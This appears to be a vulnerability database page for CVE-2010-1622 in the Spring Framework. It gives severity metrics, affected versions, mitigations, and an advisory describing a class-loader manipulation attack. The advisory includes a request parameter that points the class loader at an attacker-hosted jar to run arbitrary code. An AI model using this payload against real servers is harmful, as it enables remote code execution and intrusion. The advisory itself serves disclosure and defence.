Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-94 |
Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
6 |
|
AV:N/AC:M/Au:S/C:P/I:P/A:P |
nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 13918
Publication date : 2010-06-17 22h00 +00:00
Author : Meder Kydyraliev
EDB Verified : Yes
CVE-2010-1622: Spring Framework execution of arbitrary code
Severity: Critical
Vendor:
SpringSource, a division of VMware
Versions Affected:
3.0.0 to 3.0.2
2.5.0 to 2.5.6.SEC01 (community releases)
2.5.0 to 2.5.7 (subscription customers)
Earlier versions may also be affected
Description:
The Spring Framework provides a mechanism to use client provided data to update the properties of an object. This
mechanism allows an attacker to modify the properties of the class loader used to load the object (via
'class.classloader'). This can lead to arbitrary command execution since, for example, an attacker can modify the URLs
used by the class loader to point to locations controlled by the attacker.
Example:
This example is based on a Spring application running on Apache Tomcat.
1. Attacker creates attack.jar and makes it available via an HTTP URL. This jar has to contain following:
- META-INF/spring-form.tld - defining spring form tags and specifying that they are implemented as tag files and not
classes;
- tag files in META-INF/tags/ containing tag definition (arbitrary Java code).
2. Attacker then submits HTTP request to a form controller with the following HTTP parameter:
class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/ At this point the zeroth element of the WebappClassLoader's
repositoryURLs property will be overwritten with attacker's URL.
3. Later on, org.apache.jasper.compiler.TldLocationsCache.scanJars() will use WebappClassLoader's URLs to resolve tag
libraries and all tag files specified in TLD will be resolved against attacker-controller jar (HTTP retrieval of the
jar file is performed by the URL class).
Mitigation:
All users may mitigate this issue by upgrading to 3.0.3
Community users of 2.5.x and earlier may also mitigate this issue by upgrading 2.5.6.SEC02
Subscription users of 2.5.x and earlier may also mitigate this issue by upgrading 2.5.6.SEC02 or 2.5.7.SR01
Credit:
The issue was discovered by Meder Kydyraliev, Google Security Team
References:
[1] http://www.springsource.com/security/spring-framework
Products Mentioned
Configuraton 0
Oracle>>Fusion_middleware >> Version 7.6.2
Oracle>>Fusion_middleware >> Version 11.1.1.6.1
Oracle>>Fusion_middleware >> Version 11.1.1.8.0
Configuraton 0
Springsource>>Spring_framework >> Version 2.5.0
Springsource>>Spring_framework >> Version 2.5.1
Springsource>>Spring_framework >> Version 2.5.2
Springsource>>Spring_framework >> Version 2.5.3
Springsource>>Spring_framework >> Version 2.5.4
Springsource>>Spring_framework >> Version 2.5.5
Springsource>>Spring_framework >> Version 2.5.6
Springsource>>Spring_framework >> Version 2.5.7
Springsource>>Spring_framework >> Version 3.0.0
Springsource>>Spring_framework >> Version 3.0.1
Springsource>>Spring_framework >> Version 3.0.2
References